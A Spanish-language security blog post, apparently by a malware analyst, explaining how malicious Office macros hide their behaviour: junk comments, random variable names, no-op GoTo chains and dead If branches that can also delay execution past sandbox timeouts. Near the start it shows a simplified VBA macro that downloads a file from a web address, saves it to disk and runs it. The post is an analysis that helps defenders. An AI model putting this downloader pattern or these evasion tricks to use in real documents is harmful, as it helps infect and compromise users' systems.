Ofuscación de malware en macros de MS Office

Ofuscación de malware en macros de MS Office

La “última” moda en la distribución de malware viene en forma de documentos de MS Office con macros que llegan a tu bandeja de entrada. Si estas macros se llegan a ejecutar, intentaran descargar un ejecutable y lanzarlo para infectar el sistema. Para dificultar el trabajo de los analistas, los autores de estas macros ponen distintos obstáculos. En este post os voy a enseñar los sistemas de ofuscación y cifrado que me he encontrado en los últimos meses en este tipo de documentos. Sin más dilación, veamos como está la cosa en cuanto a ofuscación de malware en macros de MS Office.

Un poco de historia

Hace años, muchos años, se puso de moda infectar ordenadores usando macros en documentos de Office. MS reaccionó y puso una serie de sistemas de seguridad que hacían saltar un pop-up que el usuario tenía que aceptar para que se ejecutase una macro, así que los malos decidieron dejar de usar macros y explotar vulnerabilidades en Excel o en Word como método de infección.

Diez años después, se está volviendo a ver muchísima actividad maliciosa que utiliza macros para descargar una muestra de malware y ejecutarla, infectando así el sistema.

No sé la razón de esta vuelta a la viejas costumbres, hay varias teorías.

La primera teoría la leí hace poco y dice que es una forma de evitar detecciones por parte de los antivirus. Otra teoría dice que tiene que ver con los controles de seguridad que implementó MS a partir de Windows 7 (recordad, Windows XP ya no tiene soporte y no se usa en ninguna parte, guiño, guiño) . Ambas teorías son validas, pero yo añadiría otra más: es mucho más barato y simple escribir una macro que un exploit.

Ofuscación del código

Para que una macro embebida en documento de MS Office infecte un equipo, esta macro necesita realizar las siguientes acciones:

  1. Descargar la muestra de malware que va a infectar el equipo.
  2. Guardarla en el equipo.
  3. Ejecutarla.

Una forma de hacerlo en Visual Basic Script (vbs), el idioma que utilizan las macros de Office, es la siguiente:

Dim fd As Long
'Conexión a internet para descargar el fichero:
Set Connection = CreateObject("MSXML2.XMLHTTP")
Connection.Open "GET", "http://securityinside.info", False
Connection.Send "dfg"
response = Connection.responseBody

'Escribir fichero a disco:
fd = FreeFile
Open Filename For Binary As #fd
Put #fd, , response
Close #fd

'Ejecutar fichero:
Set object_Shell.Application = CreateObject(Shell.Application)
object_Shell.Application.Open "Filename"

Este tipo de ofuscación es muy simples de entender y de encontrar. Para hacer el trabajo de los analistas más difícil, los escritores de estas macros utilizan distintas técnicas de ofuscación. Una de las más comunes es meter código basura.

El código basura es un conjunto de líneas de código que no hace nada pero dificulta la comprensión de este por parte del analista de malware. Veamos algunos ejemplos.

Comentarios:

Comments everywhere

Algunos autores llenan las macros de comentarios, esto es bastante fácil de “limpiar” con una expresión regular, pero es bastante desagradable a la vista:

'ÌÐÌí8ø8ï 3ï89ãøà ÌÃØÏ à3ùø4ðå-034ø0ðï ÌíøëóàâïðìøÏ*?ÅÏ(ÃÙìîëâïóöïöóì óìëîè ñÌÎËè
Loop
'ÌÐÌí8ø8ï 3ï89ãøà ÌÃØÏ à3ùø4ðå-034ø0ðï ÌíøëóàâïðìøÏ*?ÅÏ(ÃÙìîëâïóöïöóì óìëîè ñÌÎËè
'ÌÐÌí8ø8ï 3ï89ãøà ÌÃØÏ à3ùø4ðå-034ø0ðï ÌíøëóàâïðìøÏ*?ÅÏ(ÃÙìîëâïóöïöóì óìëîè ñÌÎËè
tVFRzNlM = RTrim(nzupGTAz)
'ÌÐÌí8ø8ï 3ï89ãøà ÌÃØÏ à3ùø4ðå-034ø0ðï ÌíøëóàâïðìøÏ*?ÅÏ(ÃÙìîëâïóöïöóì óìëîè ñÌÎËè
'ÌÐÌí8ø8ï 3ï89ãøà ÌÃØÏ à3ùø4ðå-034ø0ðï ÌíøëóàâïðìøÏ*?ÅÏ(ÃÙìîëâïóöïöóì óìëîè ñÌÎËè
Dim QEfChJYE As Integer
'ÌÐÌí8ø8ï 3ï89ãøà ÌÃØÏ à3ùø4ðå-034ø0ðï ÌíøëóàâïðìøÏ*?ÅÏ(ÃÙìîëâïóöïöóì óìëîè ñÌÎËè
For QEfChJYE = 0 To 9
'ÌÐÌí8ø8ï 3ï89ãøà ÌÃØÏ à3ùø4ðå-034ø0ðï ÌíøëóàâïðìøÏ*?ÅÏ(ÃÙìîëâïóöïöóì óìëîè ñÌÎËè
'ÌÐÌí8ø8ï 3ï89ãøà ÌÃØÏ à3ùø4ðå-034ø0ðï ÌíøëóàâïðìøÏ*?ÅÏ(ÃÙìîëâïóöïöóì óìëîè ñÌÎËè
Dim bjOXblUV As Integer
'ÌÐÌí8ø8ï 3ï89ãøà ÌÃØÏ à3ùø4ðå-034ø0ðï ÌíøëóàâïðìøÏ*?ÅÏ(ÃÙìîëâïóöïöóì óìëîè ñÌÎËè
bjOXblUV = 8
'ÌÐÌí8ø8ï 3ï89ãøà ÌÃØÏ à3ùø4ðå-034ø0ðï ÌíøëóàâïðìøÏ*?ÅÏ(ÃÙìîëâïóöïöóì óìëîè ñÌÎËè
Do While bjOXblUV < 34
'ÌÐÌí8ø8ï 3ï89ãøà ÌÃØÏ à3ùø4ðå-034ø0ðï ÌíøëóàâïðìøÏ*?ÅÏ(ÃÙìîëâïóöïöóì óìëîè ñÌÎËè
DoEvents: bjOXblUV = bjOXblUV + 1
'ÌÐÌí8ø8ï 3ï89ãøà ÌÃØÏ à3ùø4ðå-034ø0ðï ÌíøëóàâïðìøÏ*?ÅÏ(ÃÙìîëâïóöïöóì óìëîè ñÌÎËè
Loop
'ÌÐÌí8ø8ï 3ï89ãøà ÌÃØÏ à3ùø4ðå-034ø0ðï ÌíøëóàâïðìøÏ*?ÅÏ(ÃÙìîëâïóöïöóì óìëîè ñÌÎËè
'ÌÐÌí8ø8ï 3ï89ãøà ÌÃØÏ à3ùø4ðå-034ø0ðï ÌíøëóàâïðìøÏ*?ÅÏ(ÃÙìîëâïóöïöóì óìëîè ñÌÎËè

Estas líneas de código simplemente ocultan:

Loop
tVFRzNlM = RTrim(nzupGTAz)
Dim QEfChJYE As Integer
For QEfChJYE = 0 To 9
    Dim bjOXblUV As Integer
    bjOXblUV = 8
    Do While bjOXblUV < 34
        DoEvents: bjOXblUV = bjOXblUV + 1
    Loop

Esto nos lleva al siguiente método de ofuscación: los nombres raros.

En el trozo del código anterior, la variable QEfChJYE no es más que un contador, la típica “i” de for (i=0;…), pero hace más complicado de leer el código para el analista.

Es muy típico también meter código basura. El código basura es código que no hace nada o que simplemente está ahí pero que nunca se va a ejecutar.

Un ejemplo de código que no hace nada es el siguiente:

GoTo LTIokkjoZR
LTIokkjoZR:
GoTo ePgjmeCgKuqfzq
ePgjmeCgKuqfzq:
wNLiDcUQctHeQbyt = wNLiDcUQctHeQbyt & Mid(TRQIOVnNMdSVNmP, saOjZPeoQQJJ, 1)
GoTo nnaMoKQlSkVaAo
nnaMoKQlSkVaAo:
GoTo xuRnLR
xuRnLR:
GoTo drMOY
drMOY:

Todos los “GoTo” del código sobre estas líneas saltan a la siguiente línea de código, por lo tanto, lo único que están haciendo es meter ruido en el código.
La única línea que es útil en ese trozo de código es:

wNLiDcUQctHeQbyt = wNLiDcUQctHeQbyt & Mid(TRQIOVnNMdSVNmP, saOjZPeoQQJJ, 1)

Veamos un ejemplo de código que no se ejecuta:

If 739374 = 739374 + 1 Then End
If 4142 < 44 Then
MsgBox ("cribxFbA27")
End If
If Len("QRjyMbYs5892") = Len("YCGQDTMb") Then
MsgBox ("Error !!!")
End If
jvrNuctw = 4
Do While jvrNuctw < 47
If 782332 = 782332 + 1 Then End
If 1523 < 61 Then
MsgBox ("rJbiViWt51")
End If
If Len("mzagBJqf2364") = Len("XTRZihPM") Then
MsgBox ("Error !!!")
End If

Si nos paramos a analizar todos esas sentencias if, veremos que ninguna de ellas se va a cumplir nunca:

If 739374 = 739374 + 1 Then End

Un número nunca puede ser igual a ese número más uno.

If 4142 < 44 Then

4142 nunca es menor que 44.

If Len("QRjyMbYs5892") = Len("YCGQDTMb") Then

El tamaño de esas dos cadenas nunca será el mismo.
Con este truco, además de dificultar el análisis, pueden alargar el tiempo de ejecución de la macro que puede llegar a ser útil (p.ej.: algunas sandbox hacen time out antes de que se termine la ejecución de macro).
Por lo tanto, el código que hemos visto anteriormente no hace nada de nada.

En el próximo artículo mostraré como ofuscan y cifran las cadenas de caracteres los escritores de malware en este tipo de documentos. ¿Conoces algún otro método que estén utilizando en este tipo de documentos? Déjanos un comentario con el 🙂

Ernesto Corral
4 comentarios
  1. rock
    rock Dice:

    Asi lamo el contenido, hacer una función llamando a contenidos de celdas reconstruirlas para ejecutar el volcamiento en disco o en memoria

    Responder

Trackbacks y pingbacks

  1. […] autores de estas macros ponen distintos obstáculos. En este post voy a continuar donde lo dejé en mi anterior post. Veamos qué métodos de ofuscación utilizan los escritores de Malware para dificultar el trabajo […]

  2. […] es la primera vez que hablo de temas relacionados con Dridex en este blog. En este caso lo hablaré de su mecanismo de persistencia. Es un sistema simple pero […]

Dejar un comentario

¿Quieres unirte a la conversación?
Siéntete libre de contribuir!

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *